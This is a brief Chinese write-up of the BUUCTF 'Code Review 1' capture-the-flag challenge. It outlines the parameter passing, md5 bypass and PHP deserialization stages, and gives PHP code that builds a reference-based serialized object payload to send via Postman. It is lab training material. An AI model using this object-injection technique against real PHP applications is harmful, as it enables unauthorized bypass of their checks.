BUUCTF-CODE REVIEW 1（代码审计）

　　0、打开靶机后，是php源码

　　1、第一层是GET,POST传参
　　2、第二层md5绕过
　　3、第三层是php反序列

<?php
class BUU{
    public $correct="";
    public $input="";
}

$obj= new BUU;
$obj->input=&$obj->correct;
echo serialize($obj);
?>

　　得到的字符串：

　　O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

　　4、放postman。